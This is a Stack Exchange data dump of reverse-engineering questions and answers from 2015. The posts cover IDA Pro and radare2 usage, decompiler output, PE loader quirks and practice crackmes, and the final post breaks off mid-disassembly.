  <row Id="11585" PostTypeId="1" CreationDate="2015-12-18T00:29:30.617" Score="2" ViewCount="1467" Body="&lt;p&gt;I'm reverse engineering an ARM firmware, and want to find all references to memory mapped peripherals, which in this case means 0x40000000 - 0x40007FFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are frequently referenced using direct references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can search for 0x40004400 for USART2, but would prefer to do 0x4000???? and find all references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway of doing this? &lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-12-20T08:43:09.280" Title="Find immediate values with wildcard in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11586" PostTypeId="2" ParentId="11582" CreationDate="2015-12-18T03:23:05.250" Score="3" Body="&lt;p&gt;Looking at the files distributed with the software, the video playing part is done via Flowplayer, embedded in these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;assets/webthings/local_me.html&#xA;assets/webthings/local_me_OSM.html&#xA;assets/webthings/local_me_slowmo.html&#xA;assets/webthings/local_me_with_file_select.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These functions also control updating the UI fields - apparently flowplayer provides the subtitle (caption) data via a callback. Search for a function &quot;parse_gps_data&quot;. In the function &quot;zgps_decode&quot; is the actual decoding routine which is a simple one-to-one substitution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;const char *decode_table = &quot;#I8XQWRVNZOYPUTA0B1C2SJ9K.L,M$D3E4F5G6H7&quot;;&#xA;&#xA;void decode_in_place(char *s) {&#xA;    while (*s) {&#xA;        *s = decode_table[*s-43];&#xA;        s++;&#xA;    }&#xA;}&#xA;&#xA;int main(void) {&#xA;    char data[] = &quot;.+;;;D=;-;6;;;;D;JP;4;;;=D;P?;O;;;=D=L;-HO71G&amp;gt;F=;;;JJF:FNJNBDL=R?F3F;;=;PDLR;;F0F;;=DRFJJ?DRJF??;J=LF;;;D;F:*59~&quot;;&#xA;    decode_in_place(data);&#xA;    printf(&quot;%s&quot;, data);&#xA;    return 0;&#xA;}&#xA;// Output: X#000.1080Y0000.0360Z0001.0620G0001.1408$GPRMC,100033,A,5359.4172,N,00106.4700,W,001.7,332.73,220314,000.0,A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same html files contain a comment on how to interpret this data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;X0000.0000Y0000.0000Z0000.0000G0000.0000$GPRMC,UTS_Position,Status,Latitude,N/S,Longitude,E/W,Speed,Course_Over,Ground,Date,Magnetic_variation,Checksum~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2015-12-18T03:23:05.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11588" PostTypeId="1" AcceptedAnswerId="11590" CreationDate="2015-12-18T11:09:29.103" Score="8" ViewCount="14958" Body="&lt;p&gt;How can I examine a memory address in radare2 using registers? I would like to achive what this command does in gdb: &lt;code&gt;x/s $ebp+0x4&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2019-07-29T21:54:14.457" Title="Examining memory in radare2" Tags="|radare2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11590" PostTypeId="2" ParentId="11588" CreationDate="2015-12-18T11:44:52.387" Score="4" Body="&lt;pre&gt;&lt;code&gt;[0x080495e0]&amp;gt; x/8x @0x80483d0&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x080483d0  7275 6e20 6173 202e                      run as .&#xA;[0x080495e0]&amp;gt; x/8s @0x80483d0&#xA;run as ./prog a_number (e.g. ./prog 90)&#xA;good.&#xA;bad.&#xA;[0x080495e0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radare2 -d xxxx\calc.exe &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7c999712]&amp;gt; dr ebp&#xA;0x0007fd14&#xA;[0x7c999712]&amp;gt; x/16x @ebp+0x48&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x0007fd5c  7d4c 5480 0000 0000 3400 00c0 a8a0 128a  }LT.....4.......&#xA;[0x7c999712]&amp;gt; x/s @ebp+0x48&#xA;}LT&#xA;4&#xA;[0x7c999712]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-12-18T13:20:16.710" LastActivityDate="2015-12-18T13:20:16.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11591" PostTypeId="1" AcceptedAnswerId="11595" CreationDate="2015-12-18T12:29:13.420" Score="3" ViewCount="3223" Body="&lt;p&gt;I am learning radare2. Is there a way to demangle c++ functions during disassembling? For example in gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set print asm-demangle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;callq 0x400a30 &amp;lt;_ZNSo3putEc@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;callq 0x400a30 &amp;lt;_std::ostream::put(char)@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;I had radare2 0.9.6 which comes with Ubuntu's synaptic package manager. I reinstalled it from &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/radare/radare2&lt;/a&gt;. Now I see the &lt;code&gt;asm.demangle&lt;/code&gt; variable after entering &lt;code&gt;Ve&lt;/code&gt;, it is set to true, but names are still mangled.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="13970" LastEditDate="2015-12-19T10:09:32.880" LastActivityDate="2015-12-20T13:09:32.327" Title="Demangle c++ functions in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11592" PostTypeId="1" AcceptedAnswerId="11627" CreationDate="2015-12-18T12:36:52.517" Score="6" ViewCount="545" Body="&lt;p&gt;Is it known what the differences between the Window 7 and Windows 8 PE loader are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to hand-craft a simple executable PE image file.  It runs well in Windows 7, but is rejected by Windows 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is linked here:&#xA;&lt;a href=&quot;http://lars.nocrew.org/tmp/W7-ok.exe&quot;&gt;http://lars.nocrew.org/tmp/W7-ok.exe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) COFF/PE Dumper Version 8.00.50727.762&#xA;&#xA;Dump of file W7-ok.exe&#xA;PE signature found&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;FILE HEADER VALUES&#xA;             14C machine (x86)&#xA;               0 number of sections&#xA;               0 time date stamp Thu Jan 01 00:00:00 1970&#xA;               0 file pointer to symbol table&#xA;               0 number of symbols&#xA;              E0 size of optional header&#xA;             10F characteristics&#xA;                   Relocations stripped&#xA;                   Executable&#xA;                   Line numbers stripped&#xA;                   Symbols stripped&#xA;                   32 bit word machine&#xA;&#xA;OPTIONAL HEADER VALUES&#xA;             10B magic # (PE32)&#xA;            0.00 linker version&#xA;               0 size of code&#xA;               0 size of initialized data&#xA;               0 size of uninitialized data&#xA;             24C entry point (0040024C)&#xA;               0 base of code&#xA;               0 base of data&#xA;          400000 image base (00400000 to 0040025B)&#xA;               4 section alignment&#xA;               4 file alignment&#xA;            0.00 operating system version&#xA;            0.00 image version&#xA;            4.00 subsystem version&#xA;               0 Win32 version&#xA;             25C size of image&#xA;             230 size of headers&#xA;               0 checksum&#xA;               3 subsystem (Windows CUI)&#xA;               0 DLL characteristics&#xA;               0 size of stack reserve&#xA;               0 size of stack commit&#xA;               0 size of heap reserve&#xA;               0 size of heap commit&#xA;               0 loader flags&#xA;               2 number of directories&#xA;               0 [       0] RVA [size] of Export Directory&#xA;             1B8 [       0] RVA [size] of Import Directory&#xA;&#xA;&#xA;  Summary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14454" LastActivityDate="2015-12-24T18:02:49.437" Title="Difference between Win7 and Win8 PE loader?" Tags="|binary-analysis|pe|executable|binary-format|windows-8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11593" PostTypeId="1" CreationDate="2015-12-18T13:44:00.627" Score="0" ViewCount="2660" Body="&lt;pre&gt;&lt;code&gt;double __cdecl sub_401660(float a1)&#xA;{&#xA;  double v1; // st7@1&#xA;  float v2; // ST00_4@1&#xA;  float v4; // [sp+8h] [bp+4h]@1&#xA;  float v5; // [sp+8h] [bp+4h]@1&#xA;&#xA;  v1 = a1;&#xA;  LODWORD(v2) = 0x5F3759DF - (SLODWORD(a1) &amp;gt;&amp;gt; 1);&#xA;  v4 = 0.5 * a1;&#xA;  v5 = (1.5 - v4 * v2 * v2) * v2;&#xA;  return (float)(v1 * v5);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above function do some calculation using float number&#xA;i am not able to understand LODWORD line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="14455" LastEditorUserId="1485" LastEditDate="2015-12-20T14:17:21.343" LastActivityDate="2015-12-24T19:56:49.200" Title="ida decompiler output" Tags="|ida|decompile|magic-number|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11594" PostTypeId="2" ParentId="11593" CreationDate="2015-12-18T13:52:53.147" Score="5" Body="&lt;p&gt;The &lt;code&gt;0x5F3759DF&lt;/code&gt; constant seems familiar...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the fast inverse square root algorithm: &lt;a href=&quot;http://en.wikipedia.org/wiki/Fast_inverse_square_root&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Fast_inverse_square_root&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;comparing against that code &lt;code&gt;SLODWORD&lt;/code&gt; and &lt;code&gt;LODWORD&lt;/code&gt; would be a bit-preserving conversion to an integral type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last line does &lt;code&gt;a1*invsqrt(a1)&lt;/code&gt; which is equal to &lt;code&gt;sqrt(a1) * (sqrt(a1)/sqrt(a1))&lt;/code&gt; so it ends up calculating the square root of the input parameter.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="14025" LastEditDate="2015-12-24T12:57:59.130" LastActivityDate="2015-12-24T12:57:59.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11595" PostTypeId="2" ParentId="11591" CreationDate="2015-12-18T14:18:35.963" Score="4" Body="&lt;p&gt;Check &lt;code&gt;e asm.demangle&lt;/code&gt;, and set it to true or false as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the radare2 version you are using the latest one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to view all the configuration data with &lt;code&gt;e&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typing &lt;code&gt;e??&lt;/code&gt; should show you a complete list of configuration variables with their description. You can grep through the output for all the vars that have the pattern &lt;em&gt;demangle&lt;/em&gt; with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;[0x00001d52]&gt; e??~demangle&#xA;        asm.demangle: Show demangled symbols in disasm&#xA;        bin.demangle: Import demangled symbols from RBin&#xA;            bin.lang: Language for bin.demangle&#xA;[0x00001d52]&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Radare2 needs to be told to load the demangle informations at startup, so you can set &lt;code&gt;bin.demangle&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, and reopen the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; e bin.demangle = true&#xA; oo &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last but not least, you can provide a symbol name in its mangled form on a case by case basis, using the command &lt;code&gt;iD&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7c810705]&amp;gt; iD cxx _ZNSo3putEc&#xA;std::ostream::put&#xA;[0x7c810705]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, a tip instead of asking a question here and waiting forever:&#xA;radare2 is self documented, so you can begin by typing &lt;code&gt;?&lt;/code&gt; to get help, and then append &lt;code&gt;?&lt;/code&gt; to each command, like &lt;code&gt;a?&lt;/code&gt;, or &lt;code&gt;pd?&lt;/code&gt; and so on…&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="1485" LastEditDate="2015-12-20T13:09:32.327" LastActivityDate="2015-12-20T13:09:32.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11597" PostTypeId="1" AcceptedAnswerId="11598" CreationDate="2015-12-18T15:50:47.480" Score="14" ViewCount="34673" Body="&lt;p&gt;In this crackme &lt;a href=&quot;http://www.crackmes.de/users/josamont/crack_serial_in_linux/solutions/mrmacete/browse/crackserial_linux_mrmacete_solution*solution.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;solution&lt;/a&gt;, first the strings are found:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ rabin2 -z crackserial_linux&#xA;&#xA;addr=0x00000aa0 off=0x00000aa0 ordinal=000 sz=7 len=7 section=.rodata type=A string=User:&#xA;addr=0x00000aa7 off=0x00000aa7 ordinal=001 sz=11 len=11 section=.rodata type=A string=Password:&#xA;addr=0x00000ab2 off=0x00000ab2 ordinal=002 sz=10 len=10 section=.rodata type=A string=Good job!&#xA;addr=0x00000abc off=0x00000abc ordinal=003 sz=10 len=10 section=.rodata type=A string=Try again&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after that, references for &amp;quot;Good job&amp;quot; are looked for:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 crackserial_linux&#xA;&#xA; -- How about a nice game of chess?&#xA;[0x080488c4]&amp;gt; /c ab2&#xA;f hit_0 @ 0x08048841   # 5: push 0x8048ab2&#xA;[0x080488c4]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried the same thing, but for me it's not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 crackserial_linux&#xA;[0x080488d0]&amp;gt; !!rabin2 -z crackserial_linux&#xA;[strings]&#xA;addr=0x08048d80 off=0x00000d80 ordinal=000 sz=7 section=.rodata string=User:&#xA;addr=0x08048d87 off=0x00000d87 ordinal=001 sz=9 section=.rodata string=Serial:&#xA;addr=0x08048d90 off=0x00000d90 ordinal=002 sz=10 section=.rodata string=Good job!&#xA;addr=0x08048d9a off=0x00000d9a ordinal=003 sz=10 section=.rodata string=Try again&#xA;&#xA;4 strings&#xA;[0x080488d0]&amp;gt; /c d90&#xA;[0x080488d0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By the way, why are the strings in my case at different locations?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="35171" LastEditDate="2023-06-02T19:14:51.413" LastActivityDate="2023-06-15T11:19:42.113" Title="Find reference to string in radare2" Tags="|radare2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11598" PostTypeId="2" ParentId="11597" CreationDate="2015-12-19T08:50:07.160" Score="7" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As commented by Daniël W. Crompton, the &lt;code&gt;/c&lt;/code&gt; command has been reassigned to crypto stuff, use &lt;code&gt;axt&lt;/code&gt; to find references.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x140035bf0]&amp;gt; !radare2 -v&#xA;radare2 4.3.1 6 @ windows-x86-64 git.4.3.1&#xA;commit: 54ac837b5503f10f91e2069ac357791f7a3e635a build: Fri 03/06/2020__15:52:24.93&#xA;[0x140035bf0]&amp;gt; /c?&#xA;Usage: /c   Search for crypto materials&#xA;| /ca                 Search for AES keys expanded in memory&#xA;| /cc[algo] [digest]  Find collisions (bruteforce block length values until given checksum is found)&#xA;| /cd                 Search for ASN1/DER certificates&#xA;| /cr                 Search for ASN1/DER private keys (RSA and ECC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Original:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Judging from the multitude of posts you made recently, it appears you do not have a proper installation. Maybe you should try uninstalling and reinstalling the radare2 package.&lt;/p&gt;&#xA;&lt;p&gt;The command &lt;em&gt;per se&lt;/em&gt; seems to work correctly for me here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;radare2-w32-0.9.9&amp;gt; cat xxx\helloworld.cpp&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main (void) {&#xA;  printf(&amp;quot;hello world\n&amp;quot;);&#xA;  return 0;&#xA;}&#xA;&#xA;radare2-w32-0.9.9&amp;gt; radare2 xxx\helloworld.exe&#xA;[0x00401347]&amp;gt; iz~hello world  &#xA;    vaddr=0x0041218c paddr=0x0001118c ordinal=000 sz=13 len=12 section=.rdata type=a string=hello world\n    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;/c&lt;/code&gt; uses pattern matching, using &lt;code&gt;1118c&lt;/code&gt; wont give you any results, using &lt;code&gt;18c&lt;/code&gt; will spew out a lot of results. Think about it before asking why (that is one of the drawbacks of following tuts blindly. Your &lt;code&gt;/d90&lt;/code&gt; or &lt;code&gt;/ab2&lt;/code&gt; are falling into this category).&lt;/p&gt;&#xA;&lt;p&gt;Let's search for xrefs to the virtual address:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401347]&amp;gt; /c 41218c&#xA;0x00401003   # 5: push 0x41218c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Disassemble around the hit:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401347]&amp;gt; pd 5 @0x401000&#xA;           ;-- section..text:&#xA;           0x00401000    55             push ebp               ; &#xA;           0x00401001    8bec           mov ebp, esp&#xA;           ;-- hit0_0:&#xA;           0x00401003    688c214100     push str.hello_world_n ; &amp;quot;hello world.&amp;quot;&#xA;           0x00401008    e807000000     call 0x401014 ;0x00401014(unk, unk)&#xA;           0x0040100d    83c404         add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="35171" LastEditDate="2023-06-15T11:19:42.113" LastActivityDate="2023-06-15T11:19:42.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11599" PostTypeId="2" ParentId="11585" CreationDate="2015-12-19T12:15:11.280" Score="5" Body="&lt;p&gt;Since ARM opcodes are 4-bytes each, you will not be able to find &lt;code&gt;0x4000????&lt;/code&gt; using a simple binary search. So we have to use a more complex approach.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Operand Search&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://sark.readthedocs.org/en/latest/&quot; rel=&quot;noreferrer&quot;&gt;Sark&lt;/a&gt; you can get the operand values from all the opcodes in the program and check them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;&#xA;for line in sark.lines():&#xA;    if not line.is_code:&#xA;        continue&#xA;    for operand in line.insn.operands:&#xA;        if operand.type.is_imm:&#xA;            if 0x40000000 &amp;lt;= operand.value &amp;lt; 0x40008000:&#xA;                print 'Reference Found at x{:08X}'.format(operand.value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is a lot of code, and running over the entire IDB might take a while in large firmware.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reference Search&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since the memory-mapped peripherals are not in the firmware file itself, we need to create a new segment for it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.add_segm(0, 0x40000000, 0x40008000, 'peripherals', 'PERIPHERALS')&#xA;# You can use more advanced APIs to make the storate sparse, and properly set all the&#xA;# properties of the segment, but this is irrelevant now.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the segment is created, IDA will automatically create the references to it from all relevant operands (if not, you can always force autoanalysis). After the analysis is finished, all we need to do is go over the new segment and list all references to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for line in sark.Segment(name='peripherals').lines:&#xA;    for xref in line.xrefs_to:&#xA;        print 'Found a reference at 0x{:08X}'.format(xref.frm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2015-12-20T08:43:09.280" LastActivityDate="2015-12-20T08:43:09.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11600" PostTypeId="2" ParentId="2130" CreationDate="2015-12-20T05:35:05.983" Score="1" Body="&lt;p&gt;I think the default in IDA 6.8 is a Cross reference depth of 16. I increased this first to 32 and then to 1024 and then to 65535 (because why not). None of this led to my xref working as desired so I must not understand something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm analyzing an ARM ELF shared object file. The function I'm looking at is called by a function referenced by an offset in the .init_array segment (not sure if that's relevant). The offset I want to see all references of is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.bss:00424778 ; void *dword_424778&#xA;.bss:00424778 dword_424778    % 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was originally identified as unk_424778 but I pressed &lt;kbd&gt;Y&lt;/kbd&gt; and set the type was &quot;void *&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex Rays shows this assignment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dword_424778 = &amp;amp;_sF;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using HexRaysCodeXplorer I press &lt;kbd&gt;J&lt;/kbd&gt; to jump back to disassembly from Hex Rays. It put me on line 0026D69C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;.text:0026D668                 LDR             R5, [R4,R2] ; unk_424758&#xA;.text:0026D66C                 ADD             R0, R5, #0x1C&#xA;.text:0026D670                 STMIA           R5, {R3,R7}&#xA;.text:0026D674                 STR             R7, [R5,#8]&#xA;.text:0026D678                 STR             R7, [R5,#0xC]&#xA;.text:0026D67C                 STR             R7, [R5,#0x10]&#xA;.text:0026D680                 STR             R7, [R5,#0x14]&#xA;.text:0026D684                 STR             R7, [R5,#0x18]&#xA;.text:0026D688                 BL              sub_26F42C&#xA;.text:0026D68C                 LDR             R2, =(off_374A30 - 0x374C20)&#xA;.text:0026D690                 LDR             R3, [SP,#0x38+var_34]&#xA;.text:0026D694                 STR             R9, [R5]&#xA;.text:0026D698                 STR             R8, [R5,#0x24]&#xA;.text:0026D69C                 STR             R11, [R5,#0x20]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know ARM very well but I read that the STMIA R5, {R3,R7} will result in unpredictable behavior due to the reglist ({R3,R7}) starting with a lower-number register than Rn (R5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the problem be related to dword_424778 being in the .bss section?&lt;/p&gt;&#xA;" OwnerUserId="14458" LastActivityDate="2015-12-20T05:35:05.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11601" PostTypeId="1" CreationDate="2015-12-20T11:34:07.020" Score="1" ViewCount="6396" Body="&lt;pre&gt;&lt;code&gt;import idaapi&#xA;x=0&#xA;while x&amp;lt;10:&#xA;    idaapi.step_into()&#xA;    rv = idaapi.regval_t()&#xA;    idaapi.get_reg_val('EIP',rv)&#xA;    ea = rv.ival&#xA;    print hex(ea)&#xA;    x+=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hi. Here is a script to step-into 10 times.&#xA;I want to have an updated version of EIP value with idaapi.get_reg_val() API&#xA;If i run this code here is what i get.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;0xffffffffffffffffL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although the actual EIP value is valid all the time&#xA;I've also tried other path &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ea !=0x0040af75:&#xA;    idaapi.step_into()&#xA;    eip = GetRegValue('EIP')&#xA;    print eip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I just get pure error, the meaning of which is misterious to me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;string&amp;gt;&quot;, line 3, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files (x86)\IDA 6.8\python\idc.py&quot;, line 7889, in GetRegValue&#xA;    assert res, &quot;get_reg_val() failed, bogus register name ('%s') perhaps?&quot; % name&#xA;AssertionError: get_reg_val() failed, bogus register name ('EIP') perhaps?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it looks like either way it calls this low-level func - get_reg_val but can't use the string argument normaly.&#xA;Both theese functions get_reg_val and GetRegValue() work fine if not within a loop.&#xA;Help me&lt;/p&gt;&#xA;" OwnerUserId="14453" LastActivityDate="2019-06-03T23:09:42.663" Title="How can I step through instructions in IDA and know the current EIP?" Tags="|ida|idapython|register|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11602" PostTypeId="1" CreationDate="2015-12-20T12:43:54.657" Score="2" ViewCount="1713" Body="&lt;p&gt;I am studying &lt;a href=&quot;https://github.com/Maijin/Workshop2015/tree/master/IOLI-crackme&quot; rel=&quot;nofollow&quot;&gt;IOLI crackme0x02&lt;/a&gt;. It is clear to me that rewriting the jump at 0x8048451 with no instructions the crackme can be patched. However, I want to  understand better what the code does. My problem is that I am unable to find where the entered password is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I interpreted what radare2 is showing that there are 3 local variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;│          ; arg int arg_22_2     @ ebp+0x5a&#xA;│          ; arg int arg_123      @ ebp+0x1ec&#xA;│          ; var int local_1      @ ebp-0x4&#xA;│          ; var int local_2      @ ebp-0x8&#xA;│          ; var int local_3      @ ebp-0xc&#xA;...&#xA;|           0x0804840c      c70424618504.  movl $str.Password:, (%esp) ; [0x8048561:4]=0x73736150  LEA str.Password: ; &quot;Password: &quot; @ 0x8048561&#xA;|           0x08048413      e804ffffff     calll sym.imp.printf&#xA;|           0x08048418      8d45fc         leal -4(%ebp), %eax&#xA;|           0x0804841b      89442404       movl %eax, 4(%esp)&#xA;|           0x0804841f      c704246c8504.  movl $0x804856c, (%esp)     ; [0x804856c:4]=0x50006425 &#xA;|           0x08048426      e8e1feffff     calll sym.imp.scanf&#xA;|           0x0804842b      c745f85a0000.  movl $0x5a, -8(%ebp)        ; [0x5a:4]=-1 ; 'Z' ; 90&#xA;|           0x08048432      c745f4ec0100.  movl $0x1ec, -0xc(%ebp)     ; [0x1ec:4]=-1 ; 492&#xA;|           0x08048439      8b55f4         movl -0xc(%ebp), %edx&#xA;|           0x0804843c      8d45f8         leal -8(%ebp), %eax&#xA;|           0x0804843f      0110           addl %edx, (%eax)&#xA;|           0x08048441      8b45f8         movl -8(%ebp), %eax&#xA;|           0x08048444      0faf45f8       imull -8(%ebp), %eax&#xA;|           0x08048448      8945f4         movl %eax, -0xc(%ebp)&#xA;|           0x0804844b      8b45fc         movl -4(%ebp), %eax&#xA;|           0x0804844e      3b45f4         cmpl -0xc(%ebp), %eax&#xA;|       ,=&amp;lt; 0x08048451      750e           jne 0x8048461              &#xA;|       |   0x08048453      c704246f8504.  movl $str.Password_OK_:__n, (%esp) ; [0x804856f:4]=0x73736150  LEA str.Password_OK_:__n ; &quot;Password OK :).&quot; @ 0x804856f&#xA;|       |   0x0804845a      e8bdfeffff     calll sym.imp.printf&#xA;|      ,==&amp;lt; 0x0804845f      eb0c           jmp 0x804846d              &#xA;|      |`-&amp;gt; 0x08048461      c704247f8504.  movl $str.Invalid_Password__n, (%esp) ; [0x804857f:4]=0x61766e49  LEA 